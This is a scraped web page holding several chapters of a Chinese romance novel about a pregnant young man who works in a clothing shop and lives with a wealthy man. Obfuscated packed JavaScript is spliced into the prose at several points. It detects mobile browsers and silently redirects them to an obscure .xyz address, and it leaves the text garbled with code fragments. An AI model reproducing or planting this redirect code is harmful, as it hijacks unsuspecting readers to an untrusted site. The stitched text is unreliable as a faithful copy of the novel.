d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220161|181484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他挥手。 短暂的交流并不影响他的胃口。 分了一半出去,吃了个七分饱,他摸着肚子舒服了,惊讶于张阿姨对他胃口的准确把握。 才吃几天饭啊? 陈今心想:张阿姨在照顾人这点上是有点造诣的。 他和陆应倬都被养得很好啊! 两点才开工。 店里不少同事都回住的地方了。 陈今这段时间贪睡,不想让自己搞得太舒服,以免起来的时候更痛苦,就没有骑车回青徽公馆。 他趴大厅桌子眯了半小时。 陈今醒来伸了个懒腰,回工位上干活儿去了。 他时不时掏出纸条记守则,顺带记一层货品区域的大概位置。 “128820……” 区域摆放有规则,还挺好记的。 …… 苏橘过来的时候,陈今和李华已经几乎将大货架都解决掉了,她傻眼,“我这是什么好运气……分到两个最能干最勤奋的一组。” 陈今笑了笑。 “小货架归你了。” “没问题。” 苏橘只管大厅中央的展示台柜。 李华做好自己的部分又过来,帮她一起,他只叠衣服,不说话。 一层货品数量最多。 四点整,陈今是第一个去方昊那儿拿清点单的。 “可以啊。” 方昊已经被一堆报表和折扣信息搞得发型都乱了,找单子给他,“别核对错了。” 陈今拿着东西下楼。 李华一见他下来便伸手,“我先点右边。” 陈今就没见过这么抢着干活儿的,根据编号找出货品单给他,拿了自己的,最后,也是最轻松的给苏橘,“辛苦了,点完抽背完就可以走了。” “那必不能扣我工资。” 苏橘抽过单子,“走啦!” “二四六八十……” “二十、三十九、二十二。” “一二三四五六七八九……” 同一空间回荡三种数数方法。 李华难度最大数量最多,却以只报出准确数的方法胜出。 他打完最后一个勾,在工作群里上报进度,刚好遇到进店的秦柯意,主动走去交接。 “好了?” 秦柯意看到满店面的整齐货品,不吝啬夸奖:“很不错,陈今和苏橘呢?” 李华:“他们也很快了。” “还是没你效率高。” 秦柯意把文件板拍给他,“我就说不要职场暧昧,眉来眼去,耗费时间。” 李华:“……” “我觉得他们好像没有。” 秦柯意又说:“开玩笑的。” 陈今就是赶在这个时候过来的,“我好了,这个是苏橘的,一层全部清点完毕,你们……怎么这种表情?” 李华其实一直没表情。 他说:“Kim姐说你和苏橘说话太多,做事没我快,我解释是我个人习惯没午休,我一直在干活儿。” 秦柯意笑了笑。 这正直孩子。 “我和苏橘真没有那个意思。” 陈今还是主动解释了一下,十分无奈:“Kim姐,我真有对象了。” 比对象还真。 陆应倬可是他小孩另一个爹啊! “什么什么什么?” 苏橘从洗手间出来,擦手呢,闻着八卦的味儿就来了。 “是吗?” 秦柯意也不装了:“难道不是因为想拒绝我,故意编造的有对象?” 苏橘:“!!!” 这是什么时候的事情? 李华觉得尴尬,低头看员工守则。 陈今深吸一口气,认真直视秦柯意的眼睛,说:“真的不是。” “任何人对我有意思我都会拒绝的。” “因为……” “我已经有男朋友了。” 16. 第 16 章 「@所有人上报情况良好,先收拾完的可以提前下班。」 「收到。」 「收到~」 「收到收到!」 「收到店长。」 陈今刚坐上电动车就收到群里方昊通知。 手机疯狂炸鱼,他也跟队形回了一句,戴好头盔骑车回家。 进了客厅,他脱了鞋子整齐摆好,安安静静往沙发上一坐,歪头闭眼睛,顺势侧趴瘫软在一侧。 “回来了。” 张阿姨听到动静,戴着围裙从厨房出来。 她看到是什么情形,赶紧给人拿了拖鞋过来,就这么一会儿,人已经睡着了。 “哎哟……” 张阿姨心疼叫唤一声,去洗衣房拿了干净毯子,轻轻给人盖着。 . . 乌云临近,天空下起雪,附着在城市地砖缝隙一层又一层。 晚间二十二点。 青徽公馆H001号门禁解锁,入户铃响起。 “先生回来了。” 比张阿姨声音还快一步—— 一道黑白色毛绒快影冲向门口。 陆应倬应酬完回来,脱了带有酒气的外套递给保姆,蹲下来,擒住块头一双爪子,揉了两把它完好的耳朵和毛发,“乖不乖?” 块头扒拉他腿。 陆应倬起身换鞋,解了腕表放在柜台上,问:“睡了?” 没主语也知道问的是谁。 “没呢,八点半钟才醒来吃的饭,哪儿睡得着。” 张阿姨理着衣服和表,没等问就把下午的事儿都说了:“说是没午休,从六点多回来在沙发睡着了,我怕饿坏了才给叫醒……我啊看他吃饭的时候还一直捶腿捶腰,老难受了,肯定是白天站太久了。” “嗯。” 陆应倬拿了狗零食给块头训练,喂完,“坐好。” 块头吐着舌头照做。 “陈今陪你玩儿了吗?” 陆应倬慢慢伸出两只手心,“有,没有。” 块头走近两步。 将爪子放在那个“没有”的、缠着部分纱布的手心里,趴下。 陆应倬大掌揉了一把它,起身,看到张阿姨端着切好的果盘,他走过去,“我来。” “都是常温的,小今要是爱吃多吃些。” “嗯。” 陆应倬端着果盘往楼梯走。 块头见他一走,也啪嗒啪嗒爪子跟过去,见它如此,陆应倬从踏上去几步的阶梯下来,进了远一些的电梯。 “少爬楼梯,过来。” 块头欢快跟上。 …… 房间内。 陈今脖子搭着毛巾,顶着一头半干不湿的毛在台灯下记账。 他记得认真,手里笔也时不时晃荡几下,笔帽在嘴里,连连点头,“可以可以,少了吃饭的大头,再过半个月给爸妈买双鞋,从里到外买套新衣裳,这么算来小兔崽子还挺好用的……” “儿子在你眼里就这点用?” “艹!” 陈今头顶传来鬼言鬼语。 他吓得脸一白,啪地一声拍上桌子站起来,双手前后交叠呈防御状态,看清是谁后,顿时满眼怒火,“突然说话会吓死人知不知道!” 刚说完…… 陈今脸色又一变,往后一撑桌子。 不过两秒,他连手都像是没了力,捂上肚子慢慢蹲下。 陆应倬当即放下盘子就去扶他肩膀,“怎么了?” “……肚子疼。” 陈今说话字眼发着颤。 他动也动弹不得,脑袋低垂往下,抓住陆应倬的手硬生生掐出泛白的指印子。 陆应倬狠狠蹙眉。 心脏下沉。 他想也不想俯身,拉着陈今手臂搭上自己肩膀,一把搂上人腿抱起来,低眸看他紧闭的眼睛,大步往外走,“对不起——” 刚要掠过门口。 一道阻止他往前的阻力,不小。 陆应倬脚步停下,下意识看怀中人,对上一双好整以暇的笑眼。 陈今收回把住门框的手。 “被吓的感觉怎么样?” 陆应倬眸色变化轻微。 冷和静的情绪覆盖所有显露的担心,陈今见好就收,立刻威胁似的抓住他头发,“放我下来。” 陆应倬不会给他丢下去吧! 陈今惹了又怂。 只是不如他所想。 陆应倬只淡看他一眼,便主动弯腰让人双脚先着地,陈今一个箭步远离他,扯了扯身上老头布衫散热,“咳——” “你力气还挺大。” 稀奇。 他一个一百三四十斤的男人。 陆应倬竟然不用肩扛就可以单手拎起他抱稳,刚抱在一起也是,男人衬衣下的胸膛不是单纯坚硬的骨骼感,皮肉也是很不错…… 陈今脑子里闪入一些白花花的片段。 他双颊绯红,现在知道尴尬了,抓了下鬓角的发,“谁让你老吓人?” “我敲门了。” 陆应倬甩出这四个字。 陈今:“我也没说你能进啊!” 陆应倬也没说出类似于“这是我家”的话。 半天了,陈今只好自个儿去书桌前戳水果吃,皱着眉毛问:“这么晚找我干啥?” “真的没有不舒服?” 陆应倬没忘记刚才他脸发白,不像是装的。 “都说了是假的。” 陈今没说崽子刚确实踢了他一下,远远达不到疼的地步,他维持一个姿势久了腰又难受,揉了两把,一转头,看陆应倬大大咧咧坐在他整理得干干净净的床上,站起来扯他,“靠!你衣服都没换!” 陆应倬纹丝不动。 更气人的是……他竟然往后一躺! 陈今捏紧了拳头,“起不起来!” “嗯。” 陆应倬挽起袖子的一只手垫在脑后,闭着眼,回应和没回一样,随即,他感受到腿被人含着怒气踢了下,力道不小。 能填满床长的一条人。 比例惊人得好。 陈今觉得诡异至极。 一点儿刚遇见他那种高冷人设都没了,他实在受不了,开门去楼梯护栏那儿问:“张阿姨您睡了吗?” “没呢。” 张阿姨从院子里回来,往上看,“怎么了?” “家里有新的床单被套吗?” 陈今觉得不好意思,双手合十,一双小狗眼楚楚可怜控诉,“陆应倬一身酒气穿外衣外裤就躺我床上,太不讲卫生了!” “啊?” 张阿姨笑出声:“好好好,我一会儿给你拿” “没事的,先生每天特别讲究,刚我都把他的西装外套理好了呀……” 屁! 裤子才最不干净! 陈今这点强迫症,实在是改不了。 可他说完就发现不对劲,这么一来,他不就主动招供和陆应倬能躺床上的亲密关系了? 果然…… 他一看楼下,张阿姨还在笑。 陈今暗道不好。 他装作什么都没发生回到房间,走到床边,皱眉踢人,“赶紧起来!” 床上,陆应倬先没动,后睁开眼,似乎还有一些不清明。 他缓缓坐起。 几秒钟之后,才抬起眼睛去看把水果当他啃的陈今,小声嘀咕的话进入耳朵:“说的好听,不经常回家,我搬来几天就回来几天……” 陆应倬唇边溢出清浅的笑。 可很快—— 他便垂眸沉思。 如果没有感受失灵的话,刚才陈今出去和张阿姨说话,短短两分钟,他竟然……睡着了。 虽然是浅眠。 也非常不可思议了。 陆应倬重新巡视这个房间——不是最大,却是他别墅里最独特的一间房,结构错落有致,安静,春秋冬夏阳光充足,书桌树景在一年四季都有特色的一个小天地。 不是房间的问题。 陈今第一天来,他也曾睡在这里一整晚。 无果。 那只有两种原因。 陆应倬从进来就发现了。 这个房间有一股很好闻的味道,清浅,柔和,盘旋在卧室的每一处,或许是陈今洗完澡之后的皂香和洗发水混合味道。 他闻到过类似的—— 前几天,在陈今的出租屋卧室。 此时此刻,别墅地暖控制在恒温,这股清香与房间地板特有的木质香气混杂起来,更好闻了,简直令人心神安静。 味道。 最后一个可能…… 陆应倬看向书桌前的人影。 陈今快把水果吃了个光。 他盘起一条腿,另一只脚落下踩在拖鞋里。 他穿着裤腿肥大的灰色裤衩,坐时裤子往上缩,大腿露了一半,衬得腿更是匀称白皙。 细细的。 男人很少兼顾到练腿。 更不要说陈今压根不锻炼,他这种天生的腿型很直,瘦而不柴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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门没关,张阿姨拿着床品过来,看到这情形惊讶了一下,陈今一下子脸红了,赶忙从凳子上跳下来。 陆应倬反应迅速扶了一把。 语调有些沉: “跳什么?” “我、我忘了……” 陈今也是心有余悸,反应过来又推开他搂自己的手,皱着眉说:“放开我。” 张阿姨放下床品就走了。 走的时候还给带上门,“你们说完话都早点睡啊。” “好!” 陈今回应完,转头对陆应倬示意,“你,回你自己房间,我要换床单了。” “有必要?” 陆应倬着实不理解。 “有啊!” 陈今懒得和他说,已经开始拆被套了,还有点依依不舍原来这套更舒服一些的,看了眼陆应倬,想到什么,于是大胆发问:“……你房间的被子是什么牌子的?” 就睡过一次。 简直升天。 陈今决定还是问问:“能告诉我一下牌子和价格吗?” 陆应倬静静看了他一眼,说:“你想要?” 陈今当然想点头。 可先不说贪别人便宜不好,他总觉得,这男人有什么过分要求,还没来得及摇头…… 陆应倬说:“拿过来盖就好了。” 陈今:“!!!” 他手上新被子套一半也不要了,“真的吗?” “不要算了。”陆应倬出去之前说:“定制的,完全一样目前买不到。” 陈今立刻凑到他手边,“我要!” 太近了。 这一刻。 陆应倬很清楚看到他的眼睛。 得逞中带着的笑意,藏匿于漂亮的双眼皮和长睫之下。 陈今一双眼尾不是上扬或下垂的,他天生自带着一点眼线——是他扇子睫毛的阴影,顺着眼尾平着拉出去。 着了魔似的,陆应倬忽然抬手碰了碰他的眼睛。 陈今不知道发生了什么。 他眼皮痒痒的,往后躲了躲,开始疯狂眨动眼睛,“怎么了?有东西吗?” “别动。” 陆应倬说。 陈今也不知道自己为什么这么听话。 这种暧昧的时候,他还真就不动了,看着他深邃立体的五官越来越近…… 他心脏狂跳起来。 猛地闭上眼睛。 片刻后。 他感觉睫毛被人轻轻拨动两下。 眼皮上,传来浅浅柔软触感,温度并不高——凉凉的。 是吻。 陈今浑身僵硬不动了。 17. 第 17 章 深夜十一点。 睡眠悍匪陈今,失眠了。 躺床上十分钟,他没有一点儿睡意,又重重翻了个身,看着天花板眉毛拧得死紧,“早知道下午回来就不应该睡觉……” 说完他自己都不信。 陈今紧闭上眼睛,扯了被子盖头顶,准备强制自己入睡。 五分钟之后。 他又一次坐了起来。 面无表情看向床尾——那被冷落却理得整整齐齐的青灰色鹅绒被和配套床品,只有一个念头:他也是个没出息的。 要要要。 看到什么都想要。 这下好了吧,被人占便宜了。 早点睡。 陆应倬耍完流氓就对他说这个。 他算是目睹了某人莫名其妙亲了一口他眼睛之后,一副完全不知道悔改的样子,好嘛,还能亲自给他送答应好的被子来。 陈今当时气得装睡,眼神都不赏一个。 谁稀罕! 可现在…… 陈今是真的睡不着了。 倒不是没有办法。 陈今懒得再坚持些什么乱七八糟的。 他下去,把床上已经换好的被子拆了,扯过床尾那一摞最下面的床笠。 哗哗哗很大力。 最后,抱起那床贵得要死的被子往床中央一扔。 陈今全程没有一句话。 直到躺上去那一刻,还是舒服地闭上眼睛,几十分钟之前那些憋屈和怨念消失殆尽,心里只剩下一个字爽。 算了。 陈今垫着一只手臂躺好,抓起被子,凑近闻了一下。 还挺香。 张阿姨真爱干净。 陈今刚笑完,想到什么眼神又恶狠狠,自言自语:“这次没经验,让你得逞了,谁知道你现在变得这么不要脸,大老爷们亲个脸而已,就当我行行好打发你的,狗陆应倬……” “睡觉!” 也不知道对谁说的。 心心念念的被子一换,原本就没有睡眠问题的陈今,美滋滋入睡。 隔日一早。 他收拾好出门,和刚买菜回来的张阿姨碰上了,“怎么越起越早了?” 这还不到七点啊。 “今天正式营业,我怕有什么安排提前去。”陈今笑说:“您别麻烦了,我自个儿出去吃。” “来得及来得及。” 张阿姨生怕他应付,“我现在给你煮,夜里都备好了,生煎包和酸汤面成不成?” 陈今被硬控。 “好!” 张阿姨做早餐去了。 和陈今摸出来的规律差不多。 一直到他吃完出门,陆应倬都还没下来,他和楼梯护栏口钻出脑袋的块头飞了个吻:“回来给你带奶油,拜拜宝贝儿——” 块头笑着吐舌头。 “真可爱。” 陈今心情都好了。 到达QIU差不多七点四十五。 他一看,自己果然不是来得最早的那个,从包里拿出洗完熨好的员工服,和柜子前的李华打招呼,“早啊。” “早。” 李华见是他,从柜子里拿了瓶东西给他,“我早上起来自己熬的,糖放得很少。” 雪梨汤。 “这么好。” 陈今受宠若惊接下。 李华锁上柜子,“店长找我,我先过去了。” “行。” 陈今正好要换衣服。 为了挡着点肚子,他多穿了一件白色长袖在里面,他回到柜子前,看背包上的两个自己做的挂件,拿了出来。 店里陆续有人到了。 苏橘过来的时候,已然是全妆。 她穿着灰色连帽大衣,放下包包和陈今说:“你都不知道我多早起来的,连我妈都夸我,结果你们都到了。” “第一天试营业,怕迟到。” 陈今给她递了瓶水。 看苏橘朋友圈就知道是个夜猫子。 她昨天干一天事,下了班,居然还和闺蜜喝酒吹风拍照去了。 “我先去换衣服了!” 苏橘指了指外面,失笑道:“你知道外面多少人吗?” 陈今退开脚步看了一眼。 不至于乌泱泱一群。 可也非常壮观。 有老粉丝一大早来了,在门口等待,不少路人被吸引过来。 今天可有得忙了。 “这什么?好可爱!” 苏橘走之前看到陈今胸牌上的挂件,绿色毛毛虫面包和粉色甜甜圈,她拿起来,发现还能吸附在金属胸牌上,“你也太聪明了,哪里买的?快给个链接。” “自己做的。” 陈今拿下一个给她。 苏橘没要,给他挂回去,“别呀你这两个放一起可爱,下次再给我单独做个吧,我要……” 陈今接上说:“橘子?” “聪明!”苏橘甜甜一笑,拎起包包走了,“走啦。” 李华从楼梯上下来。 看到陈今,把手里的平板给他,教他一遍,“店里的自助系统,收银那边来不及我们也可以帮忙,这里,拍照查询货品和输入编号都可以用,方哥说有不少线上老顾客。” “我看看。” 陈今坐下来熟悉一下。 操作也很简单,上手很快。 时间差不多了。 开店后,陆陆续续有不少人进来,一层货品很密集,几个导购在不同的分区。 有客人直奔来问款式。 “您好——” 陈今主动弯腰接过客人手机,“有编号是吗?” “好的稍等,我帮您看看……稍等,这款在我们二层右边区域,对的。” 他主动引导,“电梯在这边拐角,楼梯上去更快一些。” 客人直奔楼梯上二楼。 这样逛也不逛直奔导购问位置的情况,同时上演,开店前一个半小时几乎全部都是。 收银台那边也忙不停。 能遇见客人只购买单品的情况,一开始,少之又少。 “哇热坏了——” 苏橘刚空下来喝了口水,便看到有客人拿着手机张望,她主动过去,“需要帮忙吗?” “啊……” 女顾客说:“我找一件衬衫。” “有图片对不对,我帮你看看好不好?” 苏橘个子很高,三七比例让她和不少一米八的男孩子在一起,都非常出挑,别了别卷发,她靠近客人手机,“……啊这款在这边!” “谢谢。” 女顾客频频看她。 秦柯意从停车场过来探店。 一进来,就看到此番情景,点点头,十分满意苏橘的工作状态,她没打招呼去了顶层。 方昊陪她一层层往下逛。 “黄牛多吗?” 秦柯意转头问了句。 “不少。”方昊笑着摇摇头,“人家真金白银花来的,光限购也难搞,当然了,能看见数,那可比网上的情况好多了。” “嗯。” 秦柯意点点头。 她停下脚步,从二楼栏杆往下看。 苏橘忙得团团转。 精力充沛到还能分心出来,帮客人推荐穿搭。 一楼的款式比较新颖潮流,吸引年轻人。 另一边,李华虽然内向,可只要有人主动走向他,他就会走近,“您好——” 陈今呢? 秦柯意扫一眼大厅,最终在自助收银台那边看到了他。 陈今蹲在地上给客人解开衣服牌扣,整齐叠好,装袋,“有我们的会员吗?好,七天内有质量问题都可以拿过来退换的。” “好的谢谢。” 客人接过。 “没事。” 陈今转头为新的顾客指路。 他路过一个打光非常漂亮的货架,发现有女孩子在自拍,被吸引后转头看他,他停下脚步,笑着倾身靠近前置镜头,“拍照?” “嗯?……嗯嗯!” 女生立刻按下拍照键。 陈今笑笑,从她身后拿过空的衣架就走了。 “活招牌。”方昊看到啧啧两声,点了点几个人,“三个都是。” 秦柯意没反驳。 她抬手,看了眼手上镶满钻的表盘,突然说:“你觉得陈今是gay吗?” “什么?” 这什么话题? 方昊傻眼,“这我怎么会知道。” 秦柯意撑着栏杆。 盯着陈今一举一动,看他随便一笑,不少顾客的眼神都停在他身上几秒,男生女生都有,尤其是女孩子,主动一些的就会去搭话。 “他说他有男朋友。” 她这样说完,看向方昊,“怎么办,我还挺喜欢他的。” 方昊:“……” 这让怎么说? 他和秦柯意是朋友。 但是陈今这人吧,确实很让人有好感,做人做事都利利索索的。 “你不是年上恋吗?”方昊百思不得其解,“什么时候改喜欢弟弟了?” 秦柯意托着下巴看陈今。 “还好吧。” “就是突然觉得……年轻,身体好,也不错。” “他估计不可能被你包养。” 方昊弯腰和她靠在一起,劝了一句:“你别看陈今长得帅又会说话,贼有原则了,他有自己的安排的。” “他和你说什么了?” 秦柯意斜看他一眼。 “也没说什么。”方昊叹了口气,“说他就请了半个月假来这儿,为了多挣点钱,我问他之后涨工资还来不来,他还犹豫了。” 秦柯意皱眉,“他真这么说?” “真的啊,不是你签的短期合同吗?” 方昊简直无语,见她真心情不好了,又说:“行了别不开心了,走,请你喝东西。” “不去。” 秦柯意仰头问:“他有没有可能是个双?” 方昊:“………………” “你有毛病?” “人家都说有男朋友了,再怎么样,就是拒绝你,拒绝懂不懂?” 秦柯意冷脸一个巴掌。 “滚开点。” “别想了。”方昊拿出手机摇人,“行了,你不是喜欢弟弟吗,我表弟首都大学研二,他还是学生会部长,下个周末带你组局去。” “不去。” 秦柯意没兴趣,又看了眼时间,“我约了艾艾去SPA。” “下周末,叫小艾一起啊。” 方昊跟她身边下楼,“真有几个帅弟弟,你不是喜欢陈今这款吗?包有的!” “怎么了?” 刚整理完货架的陈今路过,在二人面前停下,“找我吗?” 秦柯意看到他就不走了。 突然,她注意到他胸口的小玩意儿,漂亮美甲指了指,“这什么?” “个人风格。” 陈今笑着弹了下,“不浮夸吧。” 秦柯意望着他碎分刘海下一双眼,伸出手,“送我一个。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220163|181484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好啊。” 陈今直接摘下来放她手心。 秦柯意拿了就走。 方昊见她这副强盗样子,白眼都要翻天上去。 他看陈今小心翼翼要问什么,说:“和你没关系啊——” “我和Kim说下周末上山露营。” “这么冷去吗?” 陈今点点头,关心一句,“那你们注意保暖。” “让Kim冷到的地方她是不愿意去的。”方昊笑笑,“就是一个度假山庄,对了陈今,我能问你一个事儿吗?” 陈今:“你说。” “店里很多女孩子都和我问你。”方昊揶揄道:“你知道的,Kim不太喜欢职场恋爱,她觉得工作效率低下,影响她挣钱。” “不会的。”陈今还以为是什么,“我有对象了。” 好家伙。 越来越顺口。 陈今自己都愣住了。 “是吗?”方昊十分惊喜,“读书的时候认识的女孩子吗?” 陈今不懂他今天怎么如此健谈。 有客人过来,他先帮人找到货物位置,“男装区域在三楼,电梯这边走。” 方昊竟然就这么等着。 陈今只好又走回去,“方哥,我们说到哪儿了?” “你女朋友。” 方昊给他递了瓶水,“和你一样大吗?” “比我大两岁。” 陈今确实渴了,打开喝了口大的,“不是女朋友,上次我和Kim姐说了我有男朋友,方哥你好像不在场。” 方昊听他叙述如此流畅。 “我和Kim认识这么久,她竟然没和我说。” 他拍了拍陈今肩膀,一脸无奈,“依照我对她了解,要么,她是没当回事,要么就是不信,毕竟她还和我提过说喜欢你。” 陈今:“?” 天菩萨。 这事儿怎么过不去了。 “可是——” 陈今准确捉到他那句“认识这么久”的字眼,认真道:“我已经和我男朋友同居了,我们从小就认识,我平时都离不开他,父母也知道,之后稳定了我们还准备领养孩子。” “对不起啊……” 他双手合十,“方哥,我真没办法了,你帮我劝Kim姐一下吧,我还想上班的。” 方昊挑眉。 这小子拒绝人还真斩钉截铁。 不是真有对象,那这……怎么也说不过去了。 “我知道了。”方昊拍拍他肩膀,“没事了,我就和你说一下,干活儿去吧。” 陈今松了口气。 转头就主动走到客人身边,“你好,在找什么尺码的呢?” “XXS有吗?” 陈今蹲下来为人寻找,“有的,小码在最里面,我帮您找找。” …… “下班了下班了!” “再见!” “啊啊啊啊我要不行了,腿要死掉了……” “我还得搭地铁,打工人……好、命、苦……” 陈今还坐在店外拐角的长椅上,有人看到他,他就和大家挥手。 “明天见!” 苏橘上出租车之前,还元气十足地挥手。 “拜。” 陈今笑着回应。 人都走光了。 陈今肩膀垂下来。 他用力捶打腰部和腿,结果,连手臂也酸得要命。 开业第一天。 喜提“力困筋乏”和“腰酸背痛”两项成就。 不知道是不是因为怀孕的缘故。 原本这种强度的工作,对他来说根本算不上消耗心力,可在这个时候,坐在路边,陈今竟然有点想叹气。 “哎……” 陈今决定这么做了。 他拉开背包掏出电动车钥匙。 刚想站起来,就被一道宽大的人影挡住站起来的空间,他抬头。 “你怎么来了?” 陆应倬明显是从饭局上下来。 身上还有淡淡的酒香气,他看了眼门灯紧闭的服装店,朝坐在凳子上的人伸手,“张阿姨和我说你下班了,刚好,我在这边应酬。” “哦。” 陈今指了指便利店,“我刚吃了俩烤肠和一碗关东煮充饥。” 本来凳子就不高,他需要借力,有人拉他手站起来腿还是酸得很。 “唔……” 陆应倬:“腿怎么了?” 陈今站好动了动脚踝,也不扭捏,说:“一整天站太久了,难受。” 陆应倬在他拿凳子上的包之前,提勾在自己手里,往周围看一眼:“你车停哪儿了?” “我没车啊。” 陈今说完反应过来,“你说我电动车啊?” 他不是不承认那是车吗? 陈今突然笑了,指了指,“后面呢,咖啡店旁边。” 陆应倬浅看他一眼。 转头对司机说:“你先回去吧。” 车直接开走了。 “诶——” 陈今瞪大眼睛,“你不就是来接我的吗?” 把车喊走了?? “开你的。” 陆应倬说的话越来越诡异,还拿走他的车钥匙,“我载你。” 陈今:“……” “你不怕交警吗?” 被抓到四十块一个人呢。 这就算了,没带两个头盔,没收他电动车怎么办? 太奇怪了。 这男人和被夺舍了一样。 18. 第 18 章 “拍给你了。” “钥匙都挂在支架上。” “大哥,你到底要干什么……”陈今蹲坐在黄黑色八角杆上,手肘撑膝盖,眼皮子都睁不开了,嘴巴也没停下:“大晚上的我很饿,有什么事不能回家再说吗,一定要在大街上走来走去,我都服了你了……” 陆应倬收起手机,走到他身边,牵他,“起来。” “我腿疼。” 陈今才不听他的。 “脏。” 陆应倬倒是没不耐烦。 “脏就脏。” 陈今拢起眉毛仰头看他,“你就不能让我坐会儿吗,要不你试试一天站八个多小时?” 这人真好笑。 随时随地就是逗他玩儿来的。 还以为真能看他穿西装骑电动车带人,然后被交警抓呢。 结果就是喊了人来拖车。 陆应倬刚把住人手,手机响了。 陈今实在是太累了,想也不想,一把搂住往他口袋里摸,“电话!” 好了。 这下暂时管不了他了。 哪知陆应倬接了,另一只手还钳制他站起来。 陈今差点没站稳,抓住他衣服,水灵灵跌人怀里,还被拍了两下屁股上的灰尘。 “路边。” 陆应倬和对方说了一句。 陈今等他结束通话才开口,有气无力:“我真没力气和你闹了,放我回去睡觉行吗……求求你行不行,我好累啊陆应倬。” 他被抓住的手举起来。 两个拳头并在一起,眼神软而无力,怪萌的。 直白得令人心软。 “没想闹你。” 陆应倬带着他走。 大掌放开后落至他腰上,不轻不重揉了两把,“累就少说话,省着点力气一会儿吃。” 陈今被按得身心舒坦。 一句话也没了。 他也无关紧要现在的姿势多暧昧亲密。 乏力酸软遍布全身肌肉,他连一贯对陆应倬的脾气都消失了,只觉得这人老大一只,挺好的。 至少靠着和人形抱枕似的。 “……左边。” 陈今什么都不想思考,一个劲儿往他身上靠,大胆抓着他手放好位置,想到什么,仰头讨好一般笑了笑,“按得真舒服,谢谢你。” 他或许是太累了。 语气软绵绵的。 陆应倬微微低眸看他,一言未发,动作却不含糊。 “唔……” 陈今舒服极了,只恨没有一张床。 他半眯着眼,可很快他就感觉到一些异样,迷迷糊糊掀开棉服往下看。 “肚子饿?” 陆应倬注意到他的动作。 陈今摇摇头。 他不假思索抓着他还在给自己按摩的手,往肚子上一放,皱着眉毛说:“……怎么回事?动的好厉害。” 小东西今天心情不好? 陆应倬手覆上那个不大不小的圆弧,也许是错觉,几天而已,他觉得好似又长大了一点点,他一碰,里头又咚咚两下动静。 小小的。 陆应倬忽然问陈今:“疼吗?” “没什么感觉。” 陈今摇摇头。 但就在这时,他忍不住干呕了一下。 见他一脸缓不过神来。 陆应倬扶稳他的身体,打了个转,面向下水道口。 陈今懵懵的。 “你干啥?” 陆应倬也奇怪:“不是要吐吗?” “没,我就是呕一下,吐不出来的。”陈今摆摆手,“习惯了就好了,刚踹着我胃了……” 奇怪的感同身受。 这一刻,陆应倬终于知道他为什么一开始那么害怕了,动不动嘴上就是“小外星人”,对小家伙的嫌弃和恐慌溢于言表。 某种程度来说…… 这孩子像是寄生在他体内。 陆应倬望着他侧脸,无言,低头从陈今包里找出湿纸巾,后者看到另一样东西,掏出来喝了口,完后咂吧咂吧嘴,“咦?” 好喝! 感觉还加了柠檬汁。 酸酸甜甜的。 他放在柜子里之后都忘了。 “哪儿来的三无产品?” 陆应倬拿过,发现玻璃瓶上毫无标签,不太放心,“不许喝了。” “这我同事自己熬的!”陈今喜欢喝,抢了回来死死护着,一口又干下去半瓶,还打了个气嗝儿,又可怜巴巴地说:“好饿啊……” 陆应倬正要回应。 “滴滴——” 一辆新版松露棕色库里南横停下,车窗全落。 主驾驶位男人容貌依旧出色,今日不似从前,马甲正装,更是令人瞩目,他抬手笑看陈今,“嗨,小可——” 陆应倬看过去。 “陈今。”段柏钦面不改色换了称呼,“好久不见。” 有人在,陈今赶紧从陆应倬怀里出来,打了招呼,“是你啊段先生。” “上车吧。” 段柏钦笑着示意,“带你玩儿去!” 陈今其实挺心累的。 他看了陆应倬一眼,只见人已然为他拉开车门,“注意头。” 陈今小声说:“……我想回家。” 陆应倬看向他。 哪知陈今会错了意,委屈巴巴说了声“好吧”,就自己爬上车了。 坐一千多万的豪车也不开心。 陈今叹了口气,借住大别野的打工人没有完全支配自己时间的权利。 他认了。 可一旦真到了地方。 陈今发现又是顶级会所,又是满汉全席,还没外人。 他来时的怨念一扫而空,亦步亦趋跟在两个大老板身边,坐下就是一个字吃。 服务生还在陆陆续续上菜。 陈今一边说太多了吧,不要浪费,嘴也没闲着。 “你这是把人饿着了呀。” 段柏钦头一回看人吃饭这么香,觉得有意思,笑着提醒一句慢点儿,“没人和你抢。” 陈今继续啃鲍鱼,“我不会呛着自己的……” “呵。” 段柏钦笑了,起身整理衣扣。 顺道拍了一侧陆应倬的肩膀,“我先去了。” “你们还有工作吗?”陈今很会看人眼色,匆匆放下筷子擦了嘴,看向陆应倬,他跟着起来,生怕自己耽误时间了,“……去哪儿?” “在隔壁有个局。” 陆应倬抓着他坐下,“吃你的,一会儿有人带你去休息。” “哦。” 陈今这才安心。 还有点无奈,“你有工作带我来干什么,多麻烦……” 而且他明天还要上班。 段柏钦看陆应倬都给人剥起虾来了,搭上他肩膀提醒:“虽然是两家临时约,也别让人等久了……那位娘娘也在呢,一会儿你那个便宜老弟指不定刺儿你。” 陆应倬头也不抬。 “知道了。” 陈今见他们在说悄悄话,听不清,也装作没看到。 段柏钦提前离席。 陆应倬一看过来,陈今立马作出表示,“我一个人完全不用担心,去吧!” 陆应倬还是坐到给他剥了第五只虾。 他脱下手套,把金黄蘸汁全部倒进虾肉里,放人跟前,擦了手,摸蹭了一把他的后脑勺头发,“走了。” 